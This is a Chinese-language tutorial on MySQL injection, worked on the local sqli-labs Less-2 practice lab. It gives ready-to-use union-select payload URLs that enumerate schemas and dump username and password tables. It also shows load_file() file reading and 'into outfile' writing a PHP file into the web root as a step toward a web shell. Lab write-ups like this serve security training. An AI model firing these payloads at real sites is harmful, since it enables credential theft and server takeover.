MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。
information_schema
在MySQL中,可以把 information_schema
看作一个信息数据库,其中存储关于MySQL服务器所维护的所有其他数据库的信息。如:数据库名,数据库的表,表的数据类型、访问权限以及有那些列等。其中有数个只读表,它们实际上是视图,而不是基本表,因此无法看到与之相关的任何文件。
SCHEMATA表: 提供了当前mysql实例中所有数据库的信息。参考 show databases 。
TABLES表: 数据库中的表的信息(包括视图)。详细描述了某个表的信息,参考 show tables from schemaname 。
COLUMNS表: 表中的列信息。详细描述了某张表的所有列以及每个列的信息。参考show columns from schemaname.tablename。
SQL注入中使用information_schema 的流程一般是:
- 找出本数据库的名字;
- 已知数据库的名字通过information_schema查该数据库里存在哪些表;
- 通过该表查找需要的信息。
案例
sqlilabs第2关
获取数据库信息
- 获取所有数据库名
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata
- 获取本数据库名
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,database()
3. 获取本数据库下所有表名
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27
4. 获取users中所有列名
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27
5. 获取users表所有信息
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,group_concat(username),group_concat(password)%20from%20security.users
6. 获取其他数据库的信息,在第一步中看到存在一个bbs数据库,尝试获取其中信息。(这里要注意本数据库用户权限,只能高权限查看低权限)
7. 获取bbs的所有表
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27bbs%27
8. 获取pu_users表所有列名
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27bbs%27%20and%20table_name=%27pu_users%27
9. 获取bbs的pu_users的所有信息
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,group_concat(user),group_concat(password)%20from%20bbs.pu_users
文件读取
- 查看是否有写入权限
show global variables like '%secure_file_priv%';
NULL: 不允许导入或导出
/tmp: 只允许在 /tmp 目录导入导出
空: 不限制目录
- 新建一个aaa.txt文件,尝试读取aaa.txt文件内容
mysql终端测试:
select load_file('C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.txt');
网站测试:
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,load_file(%27C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.txt%27)
读取成功。
文件写入
- 在数据库终端,将 <?php phpinfo() ?> 写入aaa.php,并尝试读取。
select '<?php phpinfo() ?>' into outfile 'C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.php';
select load_file('C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.php');
- 网站测试,先将上面创建的文件删除,重新尝试写入
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,%27%3C?php%20phpinfo()%20?%3E%27%20into%20outfile%20%27C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.php%27;%20--+
读取:
http://127.0.0.1/sqlilabs/Less-2/?id=-1%20union%20select%201,2,load_file(%27C:/xry/tools/phpstudy/PHPTutorial/WWW/sqlilabs/Less-2/aaa.php%27)
magic_quotes_gpc(魔术引号开关)
在magic_quotes_gpc = On的情况下,如果输入的数据有单引号(’)、双引号(")、反斜线(\)与 NULL(NULL字符)等字符都会被加上反斜线,作用和 addslashes() 的作用是相同的。